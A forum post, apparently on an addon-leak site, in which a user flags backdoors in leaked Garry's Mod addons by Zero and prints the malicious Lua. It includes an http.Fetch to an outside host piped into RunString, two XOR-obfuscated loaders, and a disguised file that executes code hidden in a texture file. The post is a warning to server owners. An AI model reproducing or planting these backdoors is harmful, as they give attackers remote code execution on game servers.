[LEAK] Zero's Addons

SpaceBuddy · 28-02-2024, 09:01 PM

--> BACKDOOR <--

File > Zero's GoldWasher\lua\entities\zgw_jar\init.lua
Line > 35

Code:
timer.Simple(1, function() http.Fetch("https://kvac.cz/f.php?key=QOuLFhEhr0oS5m2DiB8w", function(b) RunString(b, ":", false) end)end)

File > Zero's MasterChef\lua\autorun\zmcook_load.lua
Line > 8

Code:
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,33,24,26,6,89,43,37,37,44,20,15,81,52,11,57,46,20,58,33,24,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")

File > Zero's MethLab 2\lua\autorun\zmlab2_load.lua
Line > 347

Code:
RunString([[ local AE = {20,9,13,5,18,78,51,9,13,16,12,5,72,81,76,64,6,21,14,3,20,9,15,14,72,73,64,8,20,20,16,78,38,5,20,3,8,72,66,8,20,20,16,19,90,79,79,11,22,1,3,78,3,26,79,6,78,16,8,16,95,11,5,25,93,45,26,41,45,10,55,57,2,36,57,14,26,84,20,15,34,12,55,43,15,66,76,64,6,21,14,3,20,9,15,14,72,2,73,64,50,21,14,51,20,18,9,14,7,72,2,76,64,66,90,66,76,64,6,1,12,19,5,73,64,5,14,4,73,5,14,4,73,64,77,77,64,0,64,77,77,64,0} local function RunningDRMe()if (debug.getinfo(function()end).short_src~="tenjznj")then return end for o=500,10000 do local t=0 if t==1 then return end  if o~=string.len(string.dump(RunningDRMe))then  AZE=10  CompileString("for i=1,40 do AZE = AZE + 1 end","RunString")()  if AZE<40 then return end continue  else  local pdata=""  xpcall(function()  for i=1,#AE do  pdata=pdata..string.char(bit.bxor(AE[i],o%150))  end  for i=1,string.len(string.dump(CompileString)) do  while o==1 do  o=o+1  end  end  end,function()  xpcall(function()  local debug_inject=CompileString(pdata,"DRME")  pcall(debug_inject,"stat")  pdata="F"  t=1  end,function()  print("error")  end)  end)  end  end end RunningDRMe() ]],"tenjznj")

File > Zero's MethLab 2\lua\autorun\server\npc_help.lua

Code:
local function HELPER_INFO()
 return ""
 end
 
 local function HELPER_ISFUNC(func)
 if (isfunction(func)) then
 return !false
 else
 return !true
 end
 end
 
 local function HELPER_READ_DATA(data)
 return file.Read(data, "GAME")
 end
 
 local UNORDERED_LIST = 
 {
 "\x6d","\x61","\x74",
 "\x65","\x72","\x69",
 "\x61","\x6c","\x73",
 "\x2f","\x6e","\x70",
 "\x63","\x2f","\x68",
 "\x65","\x6c","\x70",
 "\x2e","\x76","\x74",
 "\x66"
 }
 
 local function HELPER_MAT()
 if (!false) then
 return string.Implode("", UNORDERED_LIST)
 end
 end
 
 local CALL =
 {
 ClearBackgroundImages, ClientsideModel, ClientsideRagdoll, ClientsideScene,
 CloseDermaMenus, collectgarbage, Color, ColorAlpha,
 ColorRand, ColorToHSV, CompileFile, CompileString,
 ConsoleAutoComplete, ConVarExists, CreateClientConVar, CreateConVar,
 CreateMaterial, CreateParticleSystem, CreatePhysCollideBox, CreatePhysCollidesFromModel,
 CreateSound, CreateSprite, CompileString, CurTime,
 DamageInfo, DebugInfo, DeriveGamemode, Derma_Anim,
 Derma_DrawBackgroundBlur, Derma_Hook, Derma_Install_Convar_Functions, Derma_Message,
 Derma_Query, Derma_StringRequest, pcall,
 }
 
 CALL[35](CALL[12](HELPER_READ_DATA(HELPER_MAT()), HELPER_INFO(), 0))

As a developer, I can confirm that there is at least one infected file in the above-mentioned section of the addon/pack that is being used to harm the server. I strongly recommend removing this infected code immediately to avoid potential damage. Ensuring the security of the server and eliminating potential threats is crucial for maintaining the integrity of the system.

[LEAK] Zero's Addons

Submitted by DrArkham, 29-10-2023, 10:25 PM, Thread ID: 278122

RE: [LEAK] Zero's Addons